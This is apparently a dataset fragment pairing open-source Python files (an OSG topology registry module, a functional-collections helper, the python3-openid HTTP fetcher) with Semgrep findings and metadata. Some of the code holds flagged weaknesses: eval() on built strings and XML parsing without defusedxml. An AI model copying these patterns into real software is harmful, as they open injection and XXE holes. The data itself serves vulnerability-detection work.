'OSG Topology query returned empty response' else: msg = 'OSG Topology query returned malformed XML' raise TopologyError(msg) os_pool_resources = [] resources = topology_et.findall('./ResourceGroup/Resources/Resource') if not resources: raise TopologyError('Failed to find any OSG Topology resources') for resource in resources: try: fqdn = resource.find('./FQDN').text.strip() except AttributeError: # skip malformed resource missing an FQDN continue active = False try: active = resource.find('./Active').text.strip().lower() == "true" except AttributeError: continue if not active: continue try: services = [service.find("./Name").text.strip() for service in resource.findall("./Services/Service")] except AttributeError: continue if ('Execution Endpoint' not in services) and ('Submit Node' not in services): continue try: admin_contacts = [contact_list.find('./Contacts') for contact_list in resource.findall('./ContactLists/ContactList') if contact_list.findtext('./ContactType', '').strip() == 'Administrative Contact'] except AttributeError: # skip malformed resource missing contacts continue for contact_list in admin_contacts: for contact in contact_list.findall("./Contact"): if contact.findtext('./CILogonID', '').strip() == osgid: os_pool_resources.append(fqdn) return os_pool_resources SOURCE_CHECK = re.compile(r"^[a-zA-Z][-.0-9a-zA-Z]*$") def is_valid_source_name(source_name): return bool(SOURCE_CHECK.match(source_name))
114
30.61
112
19
777
python
[{"finding_id": "semgrep_rules.python.lang.security.use-defused-xml_2d92585431a64ceb_1c0d98ab", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defused-xml", "finding_type": "security", "severity": "high", "confidence": "low", "message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "remediation": "", "location": {"file_path": "unknown", "line_start": 8, "line_end": 8, "column_start": 1, "column_end": 35, "code_snippet": "requires login"}, "cwe_id": "CWE-611: Improper Restriction of XML External Entity Reference", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A04:2017 - XML External Entities (XXE)", "references": [{"url": "https://docs.python.org/3/library/xml.html", "title": null}, {"url": "https://github.com/tiran/defusedxml", "title": null}, {"url": "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.use-defused-xml", "path": "/tmp/tmpb8jm_z1l/2d92585431a64ceb.py", "start": {"line": 8, "col": 1, "offset": 135}, "end": {"line": 8, "col": 35, "offset": 169}, "extra": {"message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "metadata": {"owasp": ["A04:2017 - XML External Entities (XXE)", "A05:2021 - Security Misconfiguration", "A02:2025 - Security Misconfiguration"], "cwe": ["CWE-611: Improper Restriction of XML External Entity Reference"], "references": ["https://docs.python.org/3/library/xml.html", "https://github.com/tiran/defusedxml", "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
1
true
[ "CWE-611" ]
[ "rules.python.lang.security.use-defused-xml" ]
[ "security" ]
[ "LOW" ]
[ "HIGH" ]
[ 8 ]
[ 8 ]
[ 1 ]
[ 35 ]
[ "A04:2017 - XML External Entities (XXE)" ]
[ "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service." ]
[ 7.5 ]
[ "LOW" ]
[ "MEDIUM" ]
sources.py
/registry/sources.py
yongleyuan/open-science-pool-registry
Apache-2.0
2024-11-18T18:05:53.886832+00:00
1,514,819,429,000
360ee762aee9a172e998864ffe800eb47944b45b
2
{ "blob_id": "360ee762aee9a172e998864ffe800eb47944b45b", "branch_name": "refs/heads/master", "committer_date": 1514819429000, "content_id": "de0cc0d573d2a9d26887c60b416eb7d3793d2e74", "detected_licenses": [ "Apache-2.0" ], "directory_id": "087ba04bd4fae34a3f90b002b6fcb736728a4467", "extension": "py", "filename": "collections.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": 93305291, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4545, "license": "Apache-2.0", "license_type": "permissive", "path": "/freestyle/collections.py", "provenance": "stack-edu-0054.json.gz:568859", "repo_name": "thautwarm/Stardust", "revision_date": 1514819429000, "revision_id": "3fa3927792958c02e51e4e5a6a5c74b6b2ecf37d", "snapshot_id": "bbb9593a1419f7e2f23af230436dd2603c24cba0", "src_encoding": "UTF-8", "star_events_count": 2, "url": "https://raw.githubusercontent.com/thautwarm/Stardust/3fa3927792958c02e51e4e5a6a5c74b6b2ecf37d/freestyle/collections.py", "visit_date": "2021-01-23T16:49:47.024514" }
2.421875
stackv2
from typing import List, Dict, Any from collections import defaultdict, deque from itertools import tee import pandas as pd import numpy as np import numba as nb from copy import deepcopy from functools import reduce class op: @staticmethod def mul(a, b): return a * b def sub(a, b): return a - b def add(a, b): return a + b def div(a, b): return a / b def mod(a, b): return a % b def anno(a, b): return a@b def e_method(method, a, b): return eval(f"a.{method}(b)") def e_func(func, a, b): return eval(f"{func}(a,b)") class block: pass class globals_manager: def __new__(self, global_vars=None): try: return self.globals_ except AttributeError: self.globals_ = global_vars def lisp(*targs, **kwargs): argNums = len(targs) if not argNums: return None elif argNums is 1: value, = targs return value else: f, *ttargs = targs ttargs = map(lambda x: lisp(x), ttargs) kw = dict(map(lambda x: (x, lisp(kwargs[x])), kwargs)) return f(*ttargs, **kw) class richIterator: def __init__(self, *args, **kwargs): super(richIterator, self).__init__(*args, **kwargs) self.recovery_vars = {} def filter(self, f): return richGenerator((each for each in self if f(each))) def recovery(self): globals_vars = globals_manager(None) if self.recovery_vars: recovery_vars = self.recovery_vars for key in recovery_vars: globals_vars[key] = recovery_vars[key] def __matmul__(self, f): return f(self) def groupBy(self, f, containerType=list): if containerType is list: res: Dict[Any, eval("self.__class__")] = defaultdict( eval("self.__class__")) for each in self: res[f(each)].append(each) elif containerType is set: res: Dict = dict() for each in self: key = f(each) if key not in res: res[key] = each else: return TypeError(f"method .groupBy for containerType '{containerType}'\ is not defined yet,\ you can define it by yourself.") return richDict(res) def let(self, **kwargs): globals_vars = globals_manager(None) if 'this' not in kwargs: kwargs['this'] = self for key in kwargs: if key in globals_vars: value = globals_vars[key] self.recovery_vars[key] = value if value != "this" else self value = kwargs[key] globals_vars[key] = value if value != "this" else self return self def then(self, *args, **kwargs): ret = lisp(*args, **kwargs) self.recovery() return ret def map(self, f, *args, **kwargs): args = (self,) + args return richIterator.thenMap(f, *args, **kwargs) def mapIndexed(self, f: "function<Int,T>", *args, **kwargs): args = (range(len(self)), self) + args return richIterator.thenMap(f, *args, *kwargs) def connectedWith(self,cases:tuple): def test(item): for case_judge, case_action in cases: if case_action(item): return case_action(item) return None return richGenerator(map(test, self)) def tolist(self): return [each for each in self] def totuple(self): return tuple(each for each in self) def toset(self): return set(self) def todict(self): return dict(zip(self)) def zip(self, iterator): return zip(self, iterator) def togen(self): return richGenerator(self) @staticmethod def thenMap(f, *args, **kwargs): if kwargs: kwargsKeys = kwargs.keys() kwargsValues = zip(* kwargs.values()) args = zip(*args) if kwargs: return richGenerator(f(*arg, **dict(zip(kwargsKeys, kwargsValue))) for arg, kwargsValue in zip(args, kwargsValues)) else: return richGenerator(f(*arg) for arg in args) class generator: def __init__(self, iterable): self.obj = iterable def __iter__(self): for each in self.obj: yield each def togen(self): return self.obj class richGenerator(richIterator, generator): pass class richDict(richIterator, dict): pass
176
24.82
127
19
1,075
python
[{"finding_id": "semgrep_rules.python.lang.security.audit.eval-detected_ab989d7f8edafb13_5e4e872b", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.eval-detected", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "remediation": "", "location": {"file_path": "unknown", "line_start": 30, "line_end": 30, "column_start": 40, "column_end": 62, "code_snippet": "requires login"}, "cwe_id": "CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://owasp.org/Top10/A03_2021-Injection", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.eval-detected", "path": "/tmp/tmpb8jm_z1l/ab989d7f8edafb13.py", "start": {"line": 30, "col": 40, "offset": 488}, "end": {"line": 30, "col": 62, "offset": 510}, "extra": {"message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/blacklists/blacklist_calls.html#b307-eval", "cwe": ["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "references": ["https://owasp.org/Top10/A03_2021-Injection"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.eval-detected_ab989d7f8edafb13_1ab10e57", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.eval-detected", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "remediation": "", "location": {"file_path": "unknown", "line_start": 33, "line_end": 33, "column_start": 36, "column_end": 56, "code_snippet": "requires login"}, "cwe_id": "CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://owasp.org/Top10/A03_2021-Injection", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.eval-detected", "path": "/tmp/tmpb8jm_z1l/ab989d7f8edafb13.py", "start": {"line": 33, "col": 36, "offset": 548}, "end": {"line": 33, "col": 56, "offset": 568}, "extra": {"message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/blacklists/blacklist_calls.html#b307-eval", "cwe": ["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "references": ["https://owasp.org/Top10/A03_2021-Injection"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.correctness.baseclass-attribute-override_ab989d7f8edafb13_d09cadcf", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.baseclass-attribute-override", "finding_type": "correctness", "severity": "medium", "confidence": "medium", "message": "Class richGenerator inherits from both `richIterator` and `generator` which both have a method named `$F`; one of these methods will be overwritten.", "remediation": "", "location": {"file_path": "unknown", "line_start": 172, "line_end": 172, "column_start": 7, "column_end": 20, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.python.org/3/tutorial/classes.html#multiple-inheritance", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.baseclass-attribute-override", "path": "/tmp/tmpb8jm_z1l/ab989d7f8edafb13.py", "start": {"line": 172, "col": 7, "offset": 4450}, "end": {"line": 172, "col": 20, "offset": 4463}, "extra": {"message": "Class richGenerator inherits from both `richIterator` and `generator` which both have a method named `$F`; one of these methods will be overwritten.", "metadata": {"category": "correctness", "references": ["https://docs.python.org/3/tutorial/classes.html#multiple-inheritance"], "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
3
true
[ "CWE-95", "CWE-95" ]
[ "rules.python.lang.security.audit.eval-detected", "rules.python.lang.security.audit.eval-detected" ]
[ "security", "security" ]
[ "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM" ]
[ 30, 33 ]
[ 30, 33 ]
[ 40, 36 ]
[ 62, 56 ]
[ "A03:2021 - Injection", "A03:2021 - Injection" ]
[ "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "Detected the use of eval(). eval() can be dangerous if used...
[ 5, 5 ]
[ "LOW", "LOW" ]
[ "HIGH", "HIGH" ]
collections.py
/freestyle/collections.py
thautwarm/Stardust
Apache-2.0
2024-11-18T18:05:55.246166+00:00
1,657,390,380,000
dfdbab317ffa3b29e94e2c2e170bb41d630eec72
2
{ "blob_id": "dfdbab317ffa3b29e94e2c2e170bb41d630eec72", "branch_name": "refs/heads/main", "committer_date": 1657390380000, "content_id": "c109cd2fd026f8414ae5d53012232891f107e2a6", "detected_licenses": [ "Apache-2.0" ], "directory_id": "74a2da6daa4fb7acc42e7eb2f1aa2a3fcd983a53", "extension": "py", "filename": "fetchers.py", "fork_events_count": 39, "gha_created_at": 1354564877000, "gha_event_created_at": 1694006362000, "gha_language": "Python", "gha_license_id": "Apache-2.0", "github_id": 6988540, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 15881, "license": "Apache-2.0", "license_type": "permissive", "path": "/openid/fetchers.py", "provenance": "stack-edu-0054.json.gz:568873", "repo_name": "necaris/python3-openid", "revision_date": 1657390380000, "revision_id": "92235252f0a18b702bc86f17c0c5f5a9d68967a7", "snapshot_id": "2a95387d266a31bebc81b41c5aeb5fb4ae2d4297", "src_encoding": "UTF-8", "star_events_count": 41, "url": "https://raw.githubusercontent.com/necaris/python3-openid/92235252f0a18b702bc86f17c0c5f5a9d68967a7/openid/fetchers.py", "visit_date": "2023-08-24T15:19:18.180102" }
2.328125
stackv2
# -*- test-case-name: openid.test.test_fetchers -*- """ This module contains the HTTP fetcher interface and several implementations. """ __all__ = [ 'fetch', 'getDefaultFetcher', 'setDefaultFetcher', 'HTTPResponse', 'HTTPFetcher', 'createHTTPFetcher', 'HTTPFetchingError', 'HTTPError' ] import urllib.request import urllib.error import urllib.parse import http.client import time import io import sys import contextlib import openid import openid.urinorm # Try to import httplib2 for caching support # http://bitworking.org/projects/httplib2/ try: import httplib2 except ImportError: # httplib2 not available httplib2 = None # try to import pycurl, which will let us use CurlHTTPFetcher try: import pycurl except ImportError: pycurl = None USER_AGENT = "python-openid/%s (%s)" % (openid.__version__, sys.platform) MAX_RESPONSE_KB = 1024 def fetch(url, body=None, headers=None): """Invoke the fetch method on the default fetcher. Most users should need only this method. @raises Exception: any exceptions that may be raised by the default fetcher """ fetcher = getDefaultFetcher() return fetcher.fetch(url, body, headers) def createHTTPFetcher(): """Create a default HTTP fetcher instance prefers Curl to urllib2.""" if pycurl is None: fetcher = Urllib2Fetcher() else: fetcher = CurlHTTPFetcher() return fetcher # Contains the currently set HTTP fetcher. If it is set to None, the # library will call createHTTPFetcher() to set it. Do not access this # variable outside of this module. _default_fetcher = None def getDefaultFetcher(): """Return the default fetcher instance if no fetcher has been set, it will create a default fetcher. @return: the default fetcher @rtype: HTTPFetcher """ global _default_fetcher if _default_fetcher is None: setDefaultFetcher(createHTTPFetcher()) return _default_fetcher def setDefaultFetcher(fetcher, wrap_exceptions=True): """Set the default fetcher @param fetcher: The fetcher to use as the default HTTP fetcher @type fetcher: HTTPFetcher @param wrap_exceptions: Whether to wrap exceptions thrown by the fetcher wil HTTPFetchingError so that they may be caught easier. By default, exceptions will be wrapped. In general, unwrapped fetchers are useful for debugging of fetching errors or if your fetcher raises well-known exceptions that you would like to catch. @type wrap_exceptions: bool """ global _default_fetcher if fetcher is None or not wrap_exceptions: _default_fetcher = fetcher else: _default_fetcher = ExceptionWrappingFetcher(fetcher) def usingCurl(): """Whether the currently set HTTP fetcher is a Curl HTTP fetcher.""" fetcher = getDefaultFetcher() if isinstance(fetcher, ExceptionWrappingFetcher): fetcher = fetcher.fetcher return isinstance(fetcher, CurlHTTPFetcher) class HTTPResponse(object): """XXX document attributes""" headers = None status = None body = None final_url = None def __init__(self, final_url=None, status=None, headers=None, body=None): self.final_url = final_url self.status = status self.headers = headers self.body = body def __repr__(self): return "<%s status %s for %s>" % (self.__class__.__name__, self.status, self.final_url) class HTTPFetcher(object): """ This class is the interface for openid HTTP fetchers. This interface is only important if you need to write a new fetcher for some reason. """ def fetch(self, url, body=None, headers=None): """ This performs an HTTP POST or GET, following redirects along the way. If a body is specified, then the request will be a POST. Otherwise, it will be a GET. @param headers: HTTP headers to include with the request @type headers: {str:str} @return: An object representing the server's HTTP response. If there are network or protocol errors, an exception will be raised. HTTP error responses, like 404 or 500, do not cause exceptions. @rtype: L{HTTPResponse} @raise Exception: Different implementations will raise different errors based on the underlying HTTP library. """ raise NotImplementedError def _allowedURL(url): parsed = urllib.parse.urlparse(url) # scheme is the first item in the tuple return parsed[0] in ('http', 'https') class HTTPFetchingError(Exception): """Exception that is wrapped around all exceptions that are raised by the underlying fetcher when using the ExceptionWrappingFetcher @ivar why: The exception that caused this exception """ def __init__(self, why=None): Exception.__init__(self, why) self.why = why class ExceptionWrappingFetcher(HTTPFetcher): """Fetcher that wraps another fetcher, causing all exceptions @cvar uncaught_exceptions: Exceptions that should be exposed to the user if they are raised by the fetch call """ uncaught_exceptions = (SystemExit, KeyboardInterrupt, MemoryError) def __init__(self, fetcher): self.fetcher = fetcher def fetch(self, *args, **kwargs): try: return self.fetcher.fetch(*args, **kwargs) except self.uncaught_exceptions: raise except: exc_cls, exc_inst = sys.exc_info()[:2] if exc_inst is None: # string exceptions exc_inst = exc_cls raise HTTPFetchingError(why=exc_inst) class Urllib2Fetcher(HTTPFetcher): """An C{L{HTTPFetcher}} that uses urllib2. """ # Parameterized for the benefit of testing frameworks, see # http://trac.openidenabled.com/trac/ticket/85 urlopen = staticmethod(urllib.request.urlopen) def fetch(self, url, body=None, headers=None): if not _allowedURL(url): raise ValueError('Bad URL scheme: %r' % (url, )) if headers is None: headers = {} headers.setdefault('User-Agent', "%s Python-urllib/%s" % (USER_AGENT, urllib.request.__version__)) if isinstance(body, str): body = bytes(body, encoding="utf-8") req = urllib.request.Request(url, data=body, headers=headers) url_resource = None try: url_resource = self.urlopen(req) with contextlib.closing(url_resource): return self._makeResponse(url_resource) except urllib.error.HTTPError as why: with contextlib.closing(why): resp = self._makeResponse(why) return resp except (urllib.error.URLError, http.client.BadStatusLine) as why: raise except Exception as why: raise AssertionError(why) def _makeResponse(self, urllib2_response): ''' Construct an HTTPResponse from the the urllib response. Attempt to decode the response body from bytes to str if the necessary information is available. ''' resp = HTTPResponse() resp.body = urllib2_response.read(MAX_RESPONSE_KB * 1024) resp.final_url = urllib2_response.geturl() resp.headers = self._lowerCaseKeys( dict(list(urllib2_response.info().items()))) if hasattr(urllib2_response, 'code'): resp.status = urllib2_response.code else: resp.status = 200 _, extra_dict = self._parseHeaderValue( resp.headers.get("content-type", "")) # Try to decode the response body to a string, if there's a # charset known; fall back to ISO-8859-1 otherwise, since that's # what's suggested in HTTP/1.1 charset = extra_dict.get('charset', 'latin1') try: resp.body = resp.body.decode(charset) except Exception: pass return resp def _lowerCaseKeys(self, headers_dict): new_dict = {} for k, v in headers_dict.items(): new_dict[k.lower()] = v return new_dict def _parseHeaderValue(self, header_value): """ Parse out a complex header value (such as Content-Type, with a value like "text/html; charset=utf-8") into a main value and a dictionary of extra information (in this case, 'text/html' and {'charset': 'utf8'}). """ values = header_value.split(';', 1) if len(values) == 1: # There's no extra info -- return the main value and an empty dict return values[0], {} main_value, extra_values = values[0], values[1].split(';') extra_dict = {} for value_string in extra_values: try: key, value = value_string.split('=', 1) extra_dict[key.strip()] = value.strip() except ValueError: # Can't unpack it -- must be malformed. Ignore pass return main_value, extra_dict class HTTPError(HTTPFetchingError): """ This exception is raised by the C{L{CurlHTTPFetcher}} when it encounters an exceptional situation fetching a URL. """ pass # XXX: define what we mean by paranoid, and make sure it is. class CurlHTTPFetcher(HTTPFetcher): """ An C{L{HTTPFetcher}} that uses pycurl for fetching. See U{http://pycurl.sourceforge.net/}. """ ALLOWED_TIME = 20 # seconds def __init__(self): HTTPFetcher.__init__(self) if pycurl is None: raise RuntimeError('Cannot find pycurl library') def _parseHeaders(self, header_file): header_file.seek(0) # Remove all non "name: value" header lines from the input lines = [line.decode().strip() for line in header_file if b':' in line] headers = {} for line in lines: try: name, value = line.split(':', 1) except ValueError: raise HTTPError("Malformed HTTP header line in response: %r" % (line, )) value = value.strip() # HTTP headers are case-insensitive name = name.lower() headers[name] = value return headers def _checkURL(self, url): # XXX: document that this can be overridden to match desired policy # XXX: make sure url is well-formed and routeable return _allowedURL(url) def fetch(self, url, body=None, headers=None): stop = int(time.time()) + self.ALLOWED_TIME off = self.ALLOWED_TIME if headers is None: headers = {} headers.setdefault('User-Agent', "%s %s" % (USER_AGENT, pycurl.version, )) header_list = [] if headers is not None: for header_name, header_value in headers.items(): header = '%s: %s' % (header_name, header_value) header_list.append(header.encode()) c = pycurl.Curl() try: c.setopt(pycurl.NOSIGNAL, 1) if header_list: c.setopt(pycurl.HTTPHEADER, header_list) # Presence of a body indicates that we should do a POST if body is not None: c.setopt(pycurl.POST, 1) c.setopt(pycurl.POSTFIELDS, body) while off > 0: if not self._checkURL(url): raise HTTPError("Fetching URL not allowed: %r" % (url, )) data = io.BytesIO() def write_data(chunk): if data.tell() > (1024 * MAX_RESPONSE_KB): return 0 else: return data.write(chunk) response_header_data = io.BytesIO() c.setopt(pycurl.WRITEFUNCTION, write_data) c.setopt(pycurl.HEADERFUNCTION, response_header_data.write) c.setopt(pycurl.TIMEOUT, off) c.setopt(pycurl.URL, openid.urinorm.urinorm(url)) c.perform() response_headers = self._parseHeaders(response_header_data) code = c.getinfo(pycurl.RESPONSE_CODE) if code in [301, 302, 303, 307]: url = response_headers.get('location') if url is None: raise HTTPError( 'Redirect (%s) returned without a location' % code) # Redirects are always GETs c.setopt(pycurl.POST, 0) # There is no way to reset POSTFIELDS to empty and # reuse the connection, but we only use it once. else: resp = HTTPResponse() resp.headers = response_headers resp.status = code resp.final_url = url resp.body = data.getvalue().decode() return resp off = stop - int(time.time()) raise HTTPError("Timed out fetching: %r" % (url, )) finally: c.close() class HTTPLib2Fetcher(HTTPFetcher): """A fetcher that uses C{httplib2} for performing HTTP requests. This implementation supports HTTP caching. @see: http://bitworking.org/projects/httplib2/ """ def __init__(self, cache=None): """@param cache: An object suitable for use as an C{httplib2} cache. If a string is passed, it is assumed to be a directory name. """ if httplib2 is None: raise RuntimeError('Cannot find httplib2 library. ' 'See http://bitworking.org/projects/httplib2/') super(HTTPLib2Fetcher, self).__init__() # An instance of the httplib2 object that performs HTTP requests self.httplib2 = httplib2.Http(cache) # We want httplib2 to raise exceptions for errors, just like # the other fetchers. self.httplib2.force_exception_to_status_code = False def fetch(self, url, body=None, headers=None): """Perform an HTTP request @raises Exception: Any exception that can be raised by httplib2 @see: C{L{HTTPFetcher.fetch}} """ if body: method = 'POST' else: method = 'GET' if headers is None: headers = {} # httplib2 doesn't check to make sure that the URL's scheme is # 'http' so we do it here. if not (url.startswith('http://') or url.startswith('https://')): raise ValueError('URL is not a HTTP URL: %r' % (url, )) httplib2_response, content = self.httplib2.request( url, method, body=body, headers=headers) # Translate the httplib2 response to our HTTP response abstraction # When a 400 is returned, there is no "content-location" # header set. This seems like a bug to me. I can't think of a # case where we really care about the final URL when it is an # error response, but being careful about it can't hurt. try: final_url = httplib2_response['content-location'] except KeyError: # We're assuming that no redirects occurred assert not httplib2_response.previous # And this should never happen for a successful response assert httplib2_response.status != 200 final_url = url return HTTPResponse( body=content.decode(), # TODO Don't assume ASCII final_url=final_url, headers=dict(list(httplib2_response.items())), status=httplib2_response.status, )
493
31.21
79
19
3,533
python
[{"finding_id": "semgrep_rules.python.lang.correctness.common-mistakes.identical-is-comparison_bdb9f963e9fa869f_baf2c473", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.common-mistakes.identical-is-comparison", "finding_type": "correctness", "severity": "high", "confidence": "medium", "message": "Found identical comparison using is. Ensure this is what you intended.", "remediation": "", "location": {"file_path": "unknown", "line_start": 56, "line_end": 56, "column_start": 8, "column_end": 22, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.common-mistakes.identical-is-comparison", "path": "/tmp/tmpb8jm_z1l/bdb9f963e9fa869f.py", "start": {"line": 56, "col": 8, "offset": 1296}, "end": {"line": 56, "col": 22, "offset": 1310}, "extra": {"message": "Found identical comparison using is. Ensure this is what you intended.", "metadata": {"category": "correctness", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.correctness.common-mistakes.identical-is-comparison_bdb9f963e9fa869f_93976b13", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.common-mistakes.identical-is-comparison", "finding_type": "correctness", "severity": "high", "confidence": "medium", "message": "Found identical comparison using is. Ensure this is what you intended.", "remediation": "", "location": {"file_path": "unknown", "line_start": 319, "line_end": 319, "column_start": 12, "column_end": 26, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.common-mistakes.identical-is-comparison", "path": "/tmp/tmpb8jm_z1l/bdb9f963e9fa869f.py", "start": {"line": 319, "col": 12, "offset": 9682}, "end": {"line": 319, "col": 26, "offset": 9696}, "extra": {"message": "Found identical comparison using is. Ensure this is what you intended.", "metadata": {"category": "correctness", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.correctness.common-mistakes.identical-is-comparison_bdb9f963e9fa869f_479206bb", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.common-mistakes.identical-is-comparison", "finding_type": "correctness", "severity": "high", "confidence": "medium", "message": "Found identical comparison using is. Ensure this is what you intended.", "remediation": "", "location": {"file_path": "unknown", "line_start": 437, "line_end": 437, "column_start": 12, "column_end": 28, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.common-mistakes.identical-is-comparison", "path": "/tmp/tmpb8jm_z1l/bdb9f963e9fa869f.py", "start": {"line": 437, "col": 12, "offset": 13744}, "end": {"line": 437, "col": 28, "offset": 13760}, "extra": {"message": "Found identical comparison using is. Ensure this is what you intended.", "metadata": {"category": "correctness", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
3
true
[ "", "", "" ]
[ "rules.python.lang.correctness.common-mistakes.identical-is-comparison", "rules.python.lang.correctness.common-mistakes.identical-is-comparison", "rules.python.lang.correctness.common-mistakes.identical-is-comparison" ]
[ "correctness", "correctness", "correctness" ]
[ "MEDIUM", "MEDIUM", "MEDIUM" ]
[ "HIGH", "HIGH", "HIGH" ]
[ 56, 319, 437 ]
[ 56, 319, 437 ]
[ 8, 12, 12 ]
[ 22, 26, 28 ]
[ "", "", "" ]
[ "Found identical comparison using is. Ensure this is what you intended.", "Found identical comparison using is. Ensure this is what you intended.", "Found identical comparison using is. Ensure this is what you intended." ]
[ 7.5, 7.5, 7.5 ]
[ "", "", "" ]
[ "", "", "" ]
fetchers.py
/openid/fetchers.py
necaris/python3-openid
Apache-2.0
2024-11-18T18:05:56.044170+00:00
1,486,668,271,000
503503ca77386d7ad226326d25fcb3c96f7f2b8e
3
